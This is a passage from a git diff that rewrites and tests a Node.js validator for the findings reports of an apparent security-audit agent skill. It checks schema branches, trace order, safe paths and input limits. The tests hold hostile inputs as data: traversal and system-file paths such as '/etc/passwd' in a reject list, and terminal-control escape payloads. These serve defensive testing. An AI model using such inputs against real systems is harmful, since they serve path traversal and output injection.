(hasOwn(node, "pattern")) { + if (typeof node.pattern !== "string") { + errors.push(`${p}.pattern: expected string`); + } else { + try { + new RegExp(node.pattern); + } catch (error) { + errors.push(`${p}.pattern: invalid regular expression`); + } + } + } + if (hasOwn(node, "uniqueItems") && typeof node.uniqueItems !== "boolean") { + errors.push(`${p}.uniqueItems: expected boolean`); + } + if (hasOwn(node, "visibleContent")) { + if (typeof node.visibleContent !== "boolean") { + errors.push(`${p}.visibleContent: expected boolean`); + } else if (node.visibleContent === true && node.type !== "string") { + errors.push(`${p}.visibleContent: requires type "string"`); + } + } + if (hasOwn(node, "oneOf")) { + if (!Array.isArray(node.oneOf) || node.oneOf.length === 0) { + errors.push(`${p}.oneOf: expected a non-empty array`); + } else { + node.oneOf.forEach((branch, index) => check(branch, `${p}.oneOf[${index}]`)); + } + } + } + + check(schema, location); + return errors; } -// For oneOf: find a property defined with a `const` so error messages can point -// at the intended branch (e.g. discriminate confirmed vs rejected by "verdict"). function findDiscriminator(schema) { - if (!schema.properties) return null; - for (const [key, sub] of Object.entries(schema.properties)) { - if (sub && Object.prototype.hasOwnProperty.call(sub, "const")) { - return { key, value: sub.const }; - } - } - return null; + if (!hasOwn(schema, "properties") || typeof schema.properties !== "object") return null; + for (const key of Object.keys(schema.properties)) { + const subSchema = schema.properties[key]; + if (subSchema && typeof subSchema === "object" && hasOwn(subSchema, "const")) { + return { key, value: subSchema.const }; + } + } + return null; } function validate(value, schema, p, errors) { - if (schema.oneOf) { - // Prefer the branch whose const discriminator matches, so the caller sees - // detailed errors for the branch they clearly intended. - for (const branch of schema.oneOf) { - const disc = findDiscriminator(branch); - if (disc && value && typeof value === "object" && value[disc.key] === disc.value) { - validate(value, branch, p, errors); - return; - } - } - // No discriminator matched. If every branch is discriminated by the same - // key, report the bad discriminator value clearly. - const discs = schema.oneOf.map(findDiscriminator).filter(Boolean); - if (discs.length === schema.oneOf.length && value && typeof value === "object") { - const key = discs[0].key; - const allowed = discs.map((d) => JSON.stringify(d.value)).join(", "); - errors.push(`${p}: "${key}" must be one of ${allowed}, got ${JSON.stringify(value[key])}`); - return; - } - const passing = schema.oneOf.filter((b) => collect(value, b, p).length === 0); - if (passing.length !== 1) { - errors.push(`${p}: does not match exactly one of the allowed schemas`); - } - return; - } - - if (Object.prototype.hasOwnProperty.call(schema, "const") && value !== schema.const) { - errors.push(`${p}: must equal ${JSON.stringify(schema.const)}, got ${JSON.stringify(value)}`); - } - - if (schema.enum && !schema.enum.includes(value)) { - const allowed = schema.enum.map((v) => JSON.stringify(v)).join(", "); - errors.push(`${p}: invalid value ${JSON.stringify(value)} (expected one of ${allowed})`); - } - - switch (schema.type) { - case "object": { - if (typeOf(value) !== "object") { - errors.push(`${p}: expected object, got ${typeOf(value)}`); - return; - } - for (const req of schema.required || []) { - if (!(req in value)) errors.push(`${p}: missing required field "${req}"`); - } - for (const key of Object.keys(value)) { - if (schema.properties && key in schema.properties) { - validate(value[key], schema.properties[key], `${p}.${key}`, errors); - } else if (schema.additionalProperties === false) { - errors.push(`${p}: unexpected field "${key}"`); - } - } - break; - } - case "array": { - if (typeOf(value) !== "array") { - errors.push(`${p}: expected array, got ${typeOf(value)}`); - return; - } - if (typeof schema.minItems === "number" && value.length < schema.minItems) { - errors.push(`${p}: must have at least ${schema.minItems} item(s), got ${value.length}`); - } - if (schema.items) { - value.forEach((el, i) => validate(el, schema.items, `${p}[${i}]`, errors)); - } - break; - } - case "integer": { - if (typeOf(value) !== "number" || !Number.isInteger(value)) { - errors.push(`${p}: expected integer, got ${typeOf(value)}`); - } - break; - } - case "string": { - if (typeOf(value) !== "string") { - errors.push(`${p}: expected string, got ${typeOf(value)}`); - } - break; - } - default: - break; // no type constraint at this node - } -} - -function collect(value, schema, p) { - const errors = []; - validate(value, schema, p, errors); - return errors; -} - -// --- Run ---------------------------------------------------------------------- - -let errorCount = 0; - -findings.forEach((f, i) => { - const label = `[${i}] ${(f && (f.title || f.reason)) || "(untitled)"}`; - console.log(`Checking ${label}`); - - const errs = collect(f, itemSchema, `[${i}]`); - - // Semantic layer — constraints the schema subset can't express: - // a confirmed trace must be one entrypoint, zero or more propagation steps, - // then one sink. - if (f && f.verdict === "confirmed" && Array.isArray(f.trace) && f.trace.length > 0) { - if (f.trace[0] && f.trace[0].kind !== "entrypoint") { - errs.push(`[${i}].trace[0].kind must be "entrypoint", got ${JSON.stringify(f.trace[0].kind)}`); - } - const last = f.trace.length - 1; - if (f.trace[last] && f.trace[last].kind !== "sink") { - errs.push(`[${i}].trace[${last}].kind must be "sink", got ${JSON.stringify(f.trace[last].kind)}`); - } - for (let j = 1; j < last; j++) { - if (f.trace[j] && f.trace[j].kind !== "propagation") { - errs.push(`[${i}].trace[${j}].kind must be "propagation", got ${JSON.stringify(f.trace[j].kind)}`); - } - } - } - - for (const msg of errs) console.error(" ERROR:", msg); - errorCount += errs.length; -}); + if (errors.length >= LIMITS.validationErrors) return; + if (hasOwn(schema, "oneOf")) { + const results = schema.oneOf.map((branch) => collectUnchecked(value, branch, p)); + const passingIndexes = results + .map((branchErrors, index) => branchErrors.length === 0 ? index : -1) + .filter((index) => index !== -1); + + if (passingIndexes.length !== 1) { + errors.push(`${p}: must match exactly one schema in oneOf; matched ${passingIndexes.length}`); + if (passingIndexes.length === 0 && value !== null && typeof value === "object" && !Array.isArray(value)) { + const matchingDiscriminators = schema.oneOf + .map((branch, index) => ({ discriminator: findDiscriminator(branch), index })) + .filter(({ discriminator }) => discriminator && hasOwn(value, discriminator.key) && deepEqual(value[discriminator.key], discriminator.value)); + if (matchingDiscriminators.length === 1) { + errors.push(...results[matchingDiscriminators[0].index]); + } + } + } + } + + if (hasOwn(schema, "const") && !deepEqual(value, schema.const)) { + errors.push(`${p}: must equal ${safeQuote(schema.const)}, got ${safeQuote(value)}`); + } + if (hasOwn(schema, "enum") && !schema.enum.some((allowed) => deepEqual(value, allowed))) { + const allowed = schema.enum.map(safeQuote).join(", "); + errors.push(`${p}: invalid value ${safeQuote(value)} (expected one of ${allowed})`); + } + + if (hasOwn(schema, "type") && typeOf(value) !== schema.type && !(schema.type === "integer" && typeOf(value) === "number" && Number.isInteger(value))) { + errors.push(`${p}: expected ${schema.type}, got ${typeOf(value)}`); + return; + } -console.log(); -if (errorCount === 0) { - console.log(`PASS: ${findings.length} findings valid`); -} else { - console.error(`FAIL: ${errorCount} error(s) across ${findings.length} findings`); - process.exit(1); + if (typeOf(value) === "object") { + for (const req of hasOwn(schema, "required") ? schema.required : []) { + if (!hasOwn(value, req)) errors.push(`${p}: missing required field ${safeQuote(req)}`); + } + for (const key of Object.keys(value)) { + if (hasOwn(schema, "properties") && hasOwn(schema.properties, key)) { + validate(value[key], schema.properties[key], propertyPath(p, key), errors); + } else if (hasOwn(schema, "additionalProperties") && schema.additionalProperties === false) { + errors.push(`${p}: unexpected field ${safeQuote(key)}`); + } + } + } + + if (Array.isArray(value)) { + if (hasOwn(schema, "minItems") && value.length < schema.minItems) { + errors.push(`${p}: must have at least ${schema.minItems} item(s), got ${value.length}`); + } + if (hasOwn(schema, "uniqueItems") && schema.uniqueItems === true) { + const seen = new Set(); + let setBytes = 0; + for (let i = 0; i < value.length; i++) { + let canonical; + try { + canonical = canonicalKey(value[i]); + } catch (error) { + errors.push(`${p}[${i}]: ${error.message}`); + break; + } + if (seen.has(canonical.key)) { + errors.push(`${p}: items must be unique; duplicate at index ${i}`); + continue; + } + setBytes += canonical.bytes; + if (setBytes > LIMITS.uniqueSetBytes) { + errors.push(`${p}: canonical uniqueness set exceeds ${LIMITS.uniqueSetBytes} byte limit`); + break; + } + seen.add(canonical.key); + } + } + if (hasOwn(schema, "items")) { + value.forEach((item, index) => validate(item, schema.items, `${p}[${index}]`, errors)); + } + } + + if (typeof value === "string") { + if (hasOwn(schema, "minLength") && codePointLength(value) < schema.minLength) { + errors.push(`${p}: must have at least ${schema.minLength} character(s)`); + } + if (schema.visibleContent === true) { + if (!hasValidUnicodeScalarValues(value)) { + errors.push(`${p}: must contain only valid Unicode scalar values`); + } else if (!VISIBLE_CONTENT.test(value)) { + errors.push(`${p}: must contain a visible character`); + } + } + if (hasOwn(schema, "pattern") && !(new RegExp(schema.pattern).test(value))) { + errors.push(`${p}: must match pattern ${JSON.stringify(schema.pattern)}`); + } + } + + if (typeof value === "number" && hasOwn(schema, "minimum") && value < schema.minimum) { + errors.push(`${p}: must be at least ${schema.minimum}, got ${value}`); + } } + +function collectUnchecked(value, schema, p) { + const errors = createErrorList(); + validate(value, schema, p, errors); + return errors; +} + +function collect(value, schema, p = "$data") { + const limitErrors = collectDataLimitErrors(value, p); + if (limitErrors.length > 0) return limitErrors; + return collectUnchecked(value, schema, p); +} + +function isSafeRelativeSourcePath(value) { + if (typeof value !== "string" || value.length === 0 || !hasValidUnicodeScalarValues(value) || value.trim() !== value || PATH_FORBIDDEN_CHARACTER.test(value) || value.includes("\\") || value.includes(":")) return false; + if (path.posix.isAbsolute(value) || path.win32.isAbsolute(value) || /^[A-Za-z]:/.test(value) || value.startsWith("~")) return false; + const segments = value.split("/"); + return segments.every((segment) => + segment !== "" && + segment !== "." && + segment !== ".." && + !/[ .]$/u.test(segment) && + !WINDOWS_RESERVED_COMPONENT.test(segment)); +} + +function collectFindingSemanticErrors(findings) { + const errors = createErrorList(); + if (!Array.isArray(findings)) return errors; + + const fingerprints = new Map(); + let previousFingerprint = null; + findings.forEach((finding, index) => { + if (errors.length >= LIMITS.validationErrors) return; + if (!finding || typeof finding !== "object" || Array.isArray(finding)) return; + const base = `$[${index}]`; + + if (hasOwn(finding, "fingerprint") && typeof finding.fingerprint === "string") { + if (fingerprints.has(finding.fingerprint)) { + errors.push(`${base}.fingerprint: duplicate of $[${fingerprints.get(finding.fingerprint)}].fingerprint`); + } else { + fingerprints.set(finding.fingerprint, index); + } + if (previousFingerprint !== null && previousFingerprint > finding.fingerprint) { + errors.push(`${base}.fingerprint: findings must be sorted lexicographically`); + } + previousFingerprint = finding.fingerprint; + } + + for (const field of ["trace", "evidence"]) { + if (!hasOwn(finding, field) || !Array.isArray(finding[field])) continue; + finding[field].forEach((entry, entryIndex) => { + if (!entry || typeof entry !== "object" || Array.isArray(entry)) return; + if (hasOwn(entry, "line") && (!Number.isInteger(entry.line) || entry.line < 1)) { + errors.push(`${base}.${field}[${entryIndex}].line: must be a positive integer`); + } + if (hasOwn(entry, "file") && !isSafeRelativeSourcePath(entry.file)) { + errors.push(`${base}.${field}[${entryIndex}].file: must be a safe repository-relative source path`); + } + }); + } + if (finding.remediation && Array.isArray(finding.remediation.code_changes)) { + finding.remediation.code_changes.forEach((change, changeIndex) => { + if (change && hasOwn(change, "file_name") && !isSafeRelativeSourcePath(change.file_name)) { + errors.push(`${base}.remediation.code_changes[${changeIndex}].file_name: must be a safe repository-relative source path`); + } + }); + } + + if (Array.isArray(finding.trace) && finding.trace.length === 1) { + const kind = finding.trace[0] && finding.trace[0].kind; + if (kind !== "entrypoint" && kind !== "sink") { + errors.push(`${base}.trace[0].kind: a one-line trace must be "entrypoint" or "sink"`); + } + } else if (Array.isArray(finding.trace) && finding.trace.length > 1) { + const last = finding.trace.length - 1; + if (finding.trace[0] && finding.trace[0].kind !== "entrypoint") { + errors.push(`${base}.trace[0].kind: must be "entrypoint", got ${safeQuote(finding.trace[0].kind)}`); + } + if (finding.trace[last] && finding.trace[last].kind !== "sink") { + errors.push(`${base}.trace[${last}].kind: must be "sink", got ${safeQuote(finding.trace[last].kind)}`); + } + for (let traceIndex = 1; traceIndex < last; traceIndex++) { + if (finding.trace[traceIndex] && finding.trace[traceIndex].kind !== "propagation") { + errors.push(`${base}.trace[${traceIndex}].kind: must be "propagation", got ${safeQuote(finding.trace[traceIndex].kind)}`); + } + } + } + + const verdict = finding.verdict; + if (verdict === "confirmed") { + for (const forbidden of ["claimed_root_cause", "blockers", "validation_plan", "reason"]) { + if (hasOwn(finding, forbidden)) errors.push(`${base}: confirmed finding must not contain ${safeQuote(forbidden)}`); + } + if (!finding.execution || typeof finding.execution !== "object" || typeof finding.execution.observed_result !== "string" || !hasVisibleProse(finding.execution.observed_result)) { + errors.push(`${base}: confirmed finding requires a visible execution observed_result`); + } + if (!finding.remediation || typeof finding.remediation !== "object" || typeof finding.remediation.strategy !== "string" || !hasVisibleProse(finding.remediation.strategy)) { + errors.push(`${base}: confirmed finding requires visible remediation`); + } + const overall = finding.severity && finding.severity.overall_severity; + const impact = finding.severity && finding.severity.impact && finding.severity.impact.score; + if (SEVERITY_RANK.has(overall) && SEVERITY_RANK.has(impact) && SEVERITY_RANK.get(overall) > SEVERITY_RANK.get(impact)) { + errors.push(`${base}.severity.overall_severity: cannot exceed demonstrated impact ${safeQuote(impact)}`); + } + } else if (verdict === "needs_validation") { + if (hasOwn(finding, "severity")) errors.push(`${base}: needs_validation finding must not contain "severity"`); + for (const forbidden of ["execution", "remediation", "reason", "root_cause"]) { + if (hasOwn(finding, forbidden)) errors.push(`${base}: needs_validation finding must not contain ${safeQuote(forbidden)}`); + } + const plan = finding.validation_plan; + const hasLocalPlan = plan && typeof plan.local === "string" && hasVisibleProse(plan.local); + const hasDeploymentPlan = plan && typeof plan.deployment === "string" && hasVisibleProse(plan.deployment); + if (!hasLocalPlan && !hasDeploymentPlan) { + errors.push(`${base}.validation_plan: requires at least one visible local or deployment plan`); + } + } else if (verdict === "rejected") { + for (const forbidden of ["severity", "execution", "remediation", "blockers", "validation_plan", "root_cause"]) { + if (hasOwn(finding, forbidden)) errors.push(`${base}: rejected finding must not contain ${safeQuote(forbidden)}`); + } + } + }); + + return errors; +} + +function validateDocument(findings, schema) { + const schemaErrors = collectSchemaErrors(schema); + if (schemaErrors.length > 0) return schemaErrors; + const limitErrors = collectDataLimitErrors(findings, "$"); + if (limitErrors.length > 0) return limitErrors; + const errors = collectUnchecked(findings, schema, "$"); + if (errors.length < LIMITS.validationErrors) { + errors.push(...collectFindingSemanticErrors(findings)); + } + return errors; +} + +function loadSchema(schemaPath) { + const schema = JSON.parse(fs.readFileSync(schemaPath, "utf8")); + const errors = collectSchemaErrors(schema); + if (errors.length > 0) throw new Error(`unsupported or invalid report schema:\n${errors.join("\n")}`); + return schema; +} + +function readFileWithinLimit(file) { + const noFollow = fs.constants.O_NOFOLLOW; + const nonBlock = fs.constants.O_NONBLOCK; + if (!Number.isInteger(noFollow) || noFollow === 0 || !Number.isInteger(nonBlock) || nonBlock === 0) { + throw new SafeInputError("OS no-follow and nonblocking input protection is unavailable"); + } + + let descriptor; + try { + descriptor = fs.openSync(file, fs.constants.O_RDONLY | noFollow | nonBlock); + } catch (error) { + if (error && (error.code === "ELOOP" || error.code === "EMLINK")) { + throw new SafeInputError("input must not be a symlink"); + } + throw error; + } + try { + const stat = fs.fstatSync(descriptor); + if (!stat.isFile()) { + throw new SafeInputError("input must be a regular file"); + } + if (stat.size > LIMITS.inputBytes) { + throw new SafeInputError(`input exceeds ${LIMITS.inputBytes} byte limit`); + } + + const chunks = []; + const buffer = Buffer.allocUnsafe(64 * 1024); + let bytesRead = 0; + while (true) { + const count = fs.readSync(descriptor, buffer, 0, buffer.length, null); + if (count === 0) break; + bytesRead += count; + if (bytesRead > LIMITS.inputBytes) { + throw new SafeInputError(`input exceeds ${LIMITS.inputBytes} byte limit`); + } + chunks.push(Buffer.from(buffer.subarray(0, count))); + } + try { + return UTF8_DECODER.decode(Buffer.concat(chunks, bytesRead)); + } catch { + throw new SafeInputError("input is not valid UTF-8"); + } + } finally { + fs.closeSync(descriptor); + } +} + +function enforceJsonTextLimits(contents) { + const containers = []; + let inString = false; + let escaped = false; + + function markArrayItem() { + const container = containers[containers.length - 1]; + if (!container || container.type !== "array" || !container.expectsItem) return; + container.expectsItem = false; + container.items++; + if (container.items > LIMITS.arrayItems) { + throw new JsonStructureError(`input exceeds ${LIMITS.arrayItems} item array limit`); + } + } + + for (let index = 0; index < contents.length; index++) { + const character = contents[index]; + if (inString) { + if (escaped) { + escaped = false; + } else if (character === "\\") { + escaped = true; + } else if (character === "\"") { + inString = false; + } + continue; + } + + if (character === "\"") { + markArrayItem(); + inString = true; + } else if (character === "[" || character === "{") { + markArrayItem(); + if (containers.length >= LIMITS.nestingDepth) { + throw new JsonStructureError(`input exceeds ${LIMITS.nestingDepth} level nesting depth limit`); + } + containers.push({ + type: character === "[" ? "array" : "object", + expectsItem: character === "[", + items: 0, + }); + } else if (character === "]" || character === "}") { + containers.pop(); + } else if (character === ",") { + const container = containers[containers.length - 1]; + if (container && container.type === "array") container.expectsItem = true; + } else if (!/\s/.test(character)) { + markArrayItem(); + } + } +} + +function run(file) { + if (!file) { + console.error("Usage: node validate-findings.cjs "); + return 1; + } + + let schema; + try { + schema = loadSchema(path.join(__dirname, "report-schema.json")); + } catch (error) { + console.error("Failed to load report-schema.json:", error.message); + return 1; + } + + let contents; + try { + contents = readFileWithinLimit(file); + } catch (error) { + const reason = error instanceof SafeInputError ? error.message : "input could not be opened or read safely"; + console.error(`Failed to read findings JSON: ${reason}`); + return 1; + } + + try { + enforceJsonTextLimits(contents); + } catch (error) { + const reason = error instanceof JsonStructureError ? error.message : "invalid JSON structure"; + console.error(`Failed to parse findings JSON: ${reason}`); + return 1; + } + + let findings; + try { + findings = JSON.parse(contents); + } catch { + console.error("Failed to parse findings JSON: invalid JSON syntax"); + return 1; + } + + let errors; + try { + errors = validateDocument(findings, schema); + } catch { + console.error("Failed to validate findings JSON: unexpected validation error"); + return 1; + } + for (const message of errors) console.error("ERROR:", escapeUnsafeDiagnosticCharacters(message)); + if (errors.length > 0) { + const cap = errors.length === LIMITS.validationErrors ? `; output capped at ${LIMITS.validationErrors}` : ""; + console.error(`FAIL: ${errors.length} validation error(s)${cap}`); + return 1; + } + console.log(`PASS: ${findings.length} findings valid`); + return 0; +} + +module.exports = { + LIMITS, + PATH_FORBIDDEN_CHARACTER, + UNSAFE_DIAGNOSTIC_CHARACTER, + VISIBLE_CONTENT, + WINDOWS_RESERVED_COMPONENT, + collect, + collectFindingSemanticErrors, + collectSchemaErrors, + hasVisibleProse, + isSafeRelativeSourcePath, + validateDocument, +}; + +if (require.main === module) process.exit(run(process.argv[2])); diff --git a/.agents/skills/security-audit/validate-findings.test.cjs b/.agents/skills/security-audit/validate-findings.test.cjs new file mode 100644 index 0000000..8d245b2 --- /dev/null +++ b/.agents/skills/security-audit/validate-findings.test.cjs @@ -0,0 +1,652 @@ +const assert = require("node:assert/strict"); +const fs = require("node:fs"); +const os = require("node:os"); +const path = require("node:path"); +const { spawnSync } = require("node:child_process"); +const test = require("node:test"); +const schema = require("./report-schema.json"); +const { + LIMITS, + collect, + collectSchemaErrors, + validateDocument, +} = require("./validate-findings.cjs"); + +const validatorPath = path.join(__dirname, "validate-findings.cjs"); +const CLI_TIMEOUT_MS = 5000; +const HOSTILE_CLI_TIMEOUT_MS = 15000; +const HAS_SAFE_INPUT_OPEN = Number.isInteger(fs.constants.O_NOFOLLOW) && + fs.constants.O_NOFOLLOW !== 0 && + Number.isInteger(fs.constants.O_NONBLOCK) && + fs.constants.O_NONBLOCK !== 0; +const TERMINAL_CONTROL_PAYLOAD = "\u001b\u0007\u0085\u202e\u034f\ufe0f"; +const TERMINAL_CONTROL_BYTES = [ + Buffer.from([0x1b]), + Buffer.from([0x07]), + Buffer.from("\u0085"), + Buffer.from("\u202e"), + Buffer.from("\u034f"), + Buffer.from("\ufe0f"), +]; + +function source(kind = "entrypoint", file = "src/handler.c", line = 10) { + return { kind, file, line, scope: "handle", description: "Attacker data reaches the operation." }; +} + +function evidence(file = "src/handler.c", line = 10) { + return { file, line, description: "The source performs the operation without the required check." }; +} + +function confirmed() { + return { + verdict: "confirmed", + fingerprint: "src-handler-missing-check", + title: "Missing ownership check", + description: "An attacker can reach an operation without the intended ownership check.", + root_cause: "handle omits the ownership check before changing the object.", + intended_behavior: "Only the object's owner can change it.", + trace: [source("entrypoint"), source("propagation", "src/model.c", 20), source("sink", "src/store.c", 30)], + evidence: [evidence()], + conditions: [], + execution: { + attacker_perspective: "An unprivileged remote user with their own account.", + payloads: ["An object identifier owned by another user."], + instructions: ["Submit the identifier through the public operation."], + observed_result: "The other user's object changes.", + }, + remediation: { strategy: "Check ownership before the state change." }, + severity: { + likelihood: { score: "medium", reason: "The operation is directly reachable." }, + impact: { score: "medium", reason: "The attacker changes one protected object." }, + overall_severity: "medium", + }, + confidence: { score: "high", reason: "The source path and result were reproduced." }, + }; +} + +function needsValidation() { + return { + verdict: "needs_validation", + fingerprint: "src-parser-size-hypothesis", + title: "Unchecked parsed size", + description: "A parsed size may reach an allocation without a limit.", + claimed_root_cause: "parse_size may pass an unbounded value to allocate.", + trace: [source()], + evidence: [evidence()], + blockers: ["The generated parser source is absent from this checkout."], + validation_plan: { + local: "Generate the parser and submit the smallest input that exceeds the documented limit.", + deployment: "In an approved test deployment, confirm the request reaches the generated parser and record the bounded observable result.", + }, + }; +} + +function rejected() { + return { + verdict: "rejected", + fingerprint: "src-router-auth-bypass", + title: "Authorization bypass in router", + description: "The candidate claimed a route bypassed authorization.", + claimed_root_cause: "dispatch was claimed to skip the authorization wrapper.", + trace: [source("sink")], + evidence: [evidence()], + reason: "All routes pass through the authorization wrapper before dispatch.", + }; +} + +function errorsFor(value) { + return validateDocument(value, schema); +} + +function runCli(contents, options = {}) { + const { nodeArgs = [], timeout = CLI_TIMEOUT_MS } = options; + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "validate-findings-")); + const findingsPath = path.join(directory, "findings.json"); + try { + fs.writeFileSync(findingsPath, contents); + return spawnSync(process.execPath, [...nodeArgs, validatorPath, findingsPath], { + encoding: "utf8", + timeout, + }); + } finally { + fs.rmSync(directory, { recursive: true, force: true }); + } +} + +function cliOutput(result) { + return `${result.stdout}${result.stderr}`; +} + +function assertNoInjectedControlBytes(output) { + const bytes = Buffer.isBuffer(output) ? output : Buffer.from(output, "utf8"); + for (const marker of TERMINAL_CONTROL_BYTES) { + assert.equal(bytes.indexOf(marker), -1, `found raw control bytes ${marker.toString("hex")}`); + } +} + +function producerShapedFindings() { + const demonstrated = confirmed(); + demonstrated.conditions = [{ + kind: "authentication_level", + description: "The attacker needs a normal account.", + }]; + demonstrated.execution.payloads = ["", " \t\r\n", "\u0000\u001f\u007f", "\u034f", "\ufe0f", "\ud800", "\udc00", "[{,}]\\\""]; + demonstrated.remediation.code_changes = [{ + file_name: "src/handler.c", + fixed_code: "", + }]; + + const blocked = needsValidation(); + delete blocked.validation_plan.deployment; + + return [demonstrated, blocked, rejected()]; +} + +function rejectMutation(factory, mutate) { + const value = factory(); + mutate(value); + assert.notEqual(errorsFor([value]).length, 0); +} + +test("schema is an actual top-level array with exactly three branches", () => { + assert.equal(schema.type, "array"); + assert.equal(schema.items.oneOf.length, 3); + assert.deepEqual(schema.items.oneOf.map((branch) => branch.properties.verdict.const), [ + "confirmed", "needs_validation", "rejected", + ]); + const confirmedSchema = schema.items.oneOf[0].properties; + assert.equal(confirmedSchema.title.visibleContent, true); + assert.equal(confirmedSchema.execution.properties.payloads.items.minLength, undefined); + assert.equal(confirmedSchema.execution.properties.payloads.items.visibleContent, undefined); + assert.equal(confirmedSchema.remediation.properties.code_changes.items.properties.fixed_code.minLength, undefined); +}); + +test("accepts a producer-shaped findings document through the CLI", () => { + const result = runCli(JSON.stringify(producerShapedFindings())); + assert.equal(result.status, 0, cliOutput(result)); + assert.match(result.stdout, /PASS: 3 findings valid/); +}); + +test("accepts empty output and each complete branch", () => { + assert.deepEqual(errorsFor([]), []); + assert.deepEqual(errorsFor([confirmed(), needsValidation(), rejected()]), []); + const localOnly = needsValidation(); + delete localOnly.validation_plan.deployment; + assert.deepEqual(errorsFor([localOnly]), []); + const deploymentOnly = needsValidation(); + delete deploymentOnly.validation_plan.local; + assert.deepEqual(errorsFor([deploymentOnly]), []); +}); + +test("allows a one-line finding trace", () => { + const finding = confirmed(); + finding.trace = [source("entrypoint")]; + assert.deepEqual(errorsFor([finding]), []); +}); + +test("rejects empty required content", () => { + const cases = [ + [confirmed, (finding) => { finding.title = ""; }], + [confirmed, (finding) => { finding.title = " "; }], + [confirmed, (finding) => { finding.evidence = []; }], + [confirmed, (finding) => { finding.execution.payloads = []; }], + [confirmed, (finding) => { finding.execution.instructions = []; }], + [confirmed, (finding) => { finding.execution.observed_result = ""; }], + [confirmed, (finding) => { finding.remediation.strategy = ""; }], + [needsValidation, (finding) => { finding.blockers = []; }], + [needsValidation, (finding) => { finding.validation_plan = {}; }], + [needsValidation, (finding) => { finding.validation_plan = { local: " " }; }], + [rejected, (finding) => { finding.claimed_root_cause = ""; }], + ]; + for (const [factory, mutate] of cases) rejectMutation(factory, mutate); +}); + +test("preserves exact payload and replacement-code strings", () => { + const finding = confirmed(); + const payloads = ["", " \t\r\n", "\u0000\u001f\u007f", "\u034f", "\ufe0f", "\ud800", "\udc00"]; + const fixedCode = "\u0000 \t\r\n\u001f\u007f\u034f\ufe0f\ud800x\udc00"; + finding.execution.payloads = payloads.slice(); + finding.remediation.code_changes = [{ file_name: "src/handler.c", fixed_code: fixedCode }]; + + assert.deepEqual(errorsFor([finding]), []); + assert.deepEqual(finding.execution.payloads, payloads); + assert.equal(finding.remediation.code_changes[0].fixed_code, fixedCode); +}); + +test("rejects invalid scalars and whitespace, control, format, or default-ignorable prose", () => { + for (const invisible of ["\u0000\t\r\n\u001f\u007f\u200b", "\u034f", "\ufe0f", "\ud800", "\udc00", "visible\ud800"]) { + const cases = [ + [confirmed, (finding) => { finding.title = invisible; }], + [confirmed, (finding) => { finding.trace[0].scope = invisible; }], + [confirmed, (finding) => { finding.evidence[0].description = invisible; }], + [confirmed, (finding) => { finding.execution.instructions = [invisible]; }], + [confirmed, (finding) => { finding.remediation.strategy = invisible; }], + [confirmed, (finding) => { finding.severity.impact.reason = invisible; }], + [confirmed, (finding) => { finding.confidence.reason = invisible; }], + [needsValidation, (finding) => { finding.blockers = [invisible]; }], + [needsValidation, (finding) => { finding.validation_plan = { local: invisible }; }], + [rejected, (finding) => { finding.reason = invisible; }], + ]; + for (const [factory, mutate] of cases) rejectMutation(factory, mutate); + } +}); + +test("quotes input-derived controls in direct validation values and paths", () => { + const finding = confirmed(); + finding.trace[0].kind = `invalid-${TERMINAL_CONTROL_PAYLOAD}`; + finding.execution[`extra-${TERMINAL_CONTROL_PAYLOAD}`] = "value"; + + const cyclic = {}; + cyclic[`path-${TERMINAL_CONTROL_PAYLOAD}`] = cyclic; + const output = [ + ...errorsFor([finding]), + ...collect(cyclic, { type: "object" }, "$input"), + ].join("\n"); + + for (const escaped of ["\\u001b", "\\u0007", "\\u0085", "\\u202e", "\\u034f", "\\ufe0f"]) { + assert(output.includes(escaped), `missing escaped diagnostic ${escaped}`); + } + assertNoInjectedControlBytes(output); +}); + +test("rejects line zero", () => { + rejectMutation(confirmed, (finding) => { finding.trace[0].line = 0; }); + rejectMutation(rejected, (finding) => { finding.evidence[0].line = 0; }); +}); + +test("does not treat inherited or Object-prototype properties as schema properties", () => { + rejectMutation(confirmed, (finding) => { finding.constructor = "not allowed"; }); + const inherited = Object.create({ verdict: "confirmed" }); + assert(errorsFor([inherited]).some((error) => error.includes("exactly one"))); + assert(collect(Object.create({ constructor: "inherited" }), { + type: "object", + properties: { constructor: { type: "string" } }, + required: ["constructor"], + additionalProperties: false, + }).some((error) => error.includes("missing required"))); +}); + +test("oneOf requires exactly one passing branch", () => { + assert(collect("value", { oneOf: [{ type: "string" }, { minLength: 1 }] }, "$test") + .some((error) => error.includes("matched 2"))); + assert(collect(7, { oneOf: [{ type: "string" }, { minimum: 10 }] }, "$test") + .some((error) => error.includes("matched 0"))); +}); + +test("rejects duplicate fingerprints and unique array entries", () => { + const first = confirmed(); + const second = rejected(); + second.fingerprint = first.fingerprint; + assert(errorsFor([first, second]).some((error) => error.includes("duplicate of"))); + rejectMutation(needsValidation, (finding) => { finding.blockers = [finding.blockers[0], finding.blockers[0]]; }); +}); + +test("uses canonical Set uniqueness for structured entries at the array limit", () => { + const entries = Array.from({ length: LIMITS.arrayItems }, (_, id) => ({ id, label: String(id) })); + assert.deepEqual(collect(entries, { type: "array", uniqueItems: true }), []); + + const duplicate = entries.slice(0, -1); + duplicate.push({ label: "0", id: 0 }); + assert(collect(duplicate, { type: "array", uniqueItems: true }) + .some((error) => error.includes(`duplicate at index ${LIMITS.arrayItems - 1}`))); +}); + +test("bounds canonical uniqueness keys and Set storage", () => { + const oversizedKey = "x".repeat(LIMITS.canonicalKeyBytes + 1); + assert(collect([oversizedKey], { type: "array", uniqueItems: true }) + .some((error) => error.includes("canonical key exceeds"))); + + const itemLength = Math.floor(LIMITS.uniqueSetBytes / 6); + const largeUniqueItems = Array.from({ length: 6 }, (_, index) => `${index}${"x".repeat(itemLength)}`); + assert(collect(largeUniqueItems, { type: "array", uniqueItems: true }) + .some((error) => error.includes("canonical uniqueness set exceeds"))); +}); + +test("requires findings to be sorted by fingerprint", () => { + const first = confirmed(); + const second = rejected(); + assert(errorsFor([second, first]).some((error) => error.includes("sorted lexicographically"))); +}); + +test("rejects severity above demonstrated impact", () => { + rejectMutation(confirmed, (finding) => { + finding.severity.overall_severity = "high"; + finding.severity.impact.score = "medium"; + }); +}); + +test("rejects unsafe source paths", () => { + const badPaths = [ + "/etc/passwd", + "../src/file.c", + "src/../file.c", + "src//file.c", + "C:\\src\\file.c", + "src/file:name.c", + "src/file\nname.c", + "src/file\u0001name.c", + "src/file\u0085name.c", + "src/file\u2028name.c", + "src/file\u202ename.c", + "src/file\u2066name.c", + "src/file\u200dname.c", + "src/file\u034fname.c", + "src/file\ufe0fname.c", + "src/file\ud800name.c", + "src/file\udc00name.c", + "CON", + 